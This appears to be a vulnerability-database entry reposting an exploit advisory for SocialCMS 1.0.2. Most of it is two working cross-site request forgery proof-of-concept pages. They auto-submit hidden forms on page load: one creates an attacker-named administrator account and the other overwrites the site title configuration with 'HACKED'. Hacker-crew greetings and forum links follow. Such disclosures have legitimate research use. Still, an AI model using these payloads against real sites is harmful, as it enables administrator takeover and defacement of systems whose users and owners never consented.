SocialCMS1.0.2 - Multiple CSRF Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
SocialCMS1.0.2 multiple CSRF vulnerabilities. Create admin user, default site title modified

                                                &#60;!---
    Title: socialcms1.0.2 Multiple CSRF Vulnerabilities
    Author: vir0e5 a.k.a banditc0de &#60;[email protected]&#62;
    Date: Wed 20 april 2011 11:18:22 AM
    Vendor: www.socialcms.com 
    Download: http://sourceforge.net/projects/socialcms/
---&#62;

&#60;!-- Create Admin User --&#62;

&#60;body onload=&#39;document.csrf.submit()&#39;&#62;
	&#60;form method=&#34;POST&#34; name=&#34;csrf&#34; action=&#34;http://localhost/web_test/socialcms/my_admin/admin1_members.php?action=member_new&page=1&mID=1&#34;  class=&#34;form&#34;&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;TR_login_name&#34; value=&#34;vir0e5&#34;&#62;&#60;/p&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;TR_firstname&#34; value=&#34;bandit&#34;&#62;&#60;/p&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;TR_lastname&#34; value=&#34;c0de&#34;/&#62;&#60;/p&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;TREF_email_address&#34; value=&#34;[email protected]&#34;/&#62;&#60;/p&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;TR_group_level&#34; value=&#34;&#34;/&#62;&#60;/p&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;update&#34; value=&#34;update&#34; type=&#34;submit&#34; /&#62;
	&#60;/form&#62;
&#60;/body&#62;
	
&#60;!-- Default site title --&#62;
&#60;body onload=&#39;document.csrf.submit()&#39;&#62;
	&#60;form method=&#34;POST&#34; name=&#34;csrf&#34; action=&#34;http://localhost/web_test/socialcms/my_admin/admin1_configuration.php?gid=1&id=36&action=save&#34;  class=&#34;form&#34;&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;TR_configuration_title&#34; value=&#34;Default site title&#34;&#62;&#60;/p&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;TR_configuration_name&#34; value=&#34;CSRF VULN&#34;&#62;&#60;/p&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;TR_configuration_value&#34; value=&#34;HACKED&#34;/&#62;&#60;/p&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;configuration_description&#34; value=&#34;CSRF&#34;/&#62;&#60;/p&#62;
		&#60;p&#62;&#60;input type=&#34;hidden&#34; name=&#34;IN_configuration_priority&#34; value=&#34;0&#34;/&#62;&#60;/p&#62;
		&#60;input type=&#34;hidden&#34; name=&#34;update&#34; value=&#34;update&#34; type=&#34;submit&#34; /&#62;
	&#60;/form&#62;

****************-------**DCI2k7**--------*****************
[+] Greetings :[ mywisdom - kiddies - kamtiez - r3m1ck - aciz_n1nj4 | mozartklik |syafm0vic- 

skuteng_boy - blue_screen - agdi_cool - dangercode14045 - dewancc and YOU!!!! ] ;

[+] Forum [as member] : http://indonesian-cyber.org | http://tecon-crew.org | 

http://devilzc0de.org | http://santricyber.org | http://indonesiancoder.com | 

http://cyber4rt.com And OTHER&#39;s

Cause i&#39;m Alone!!
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1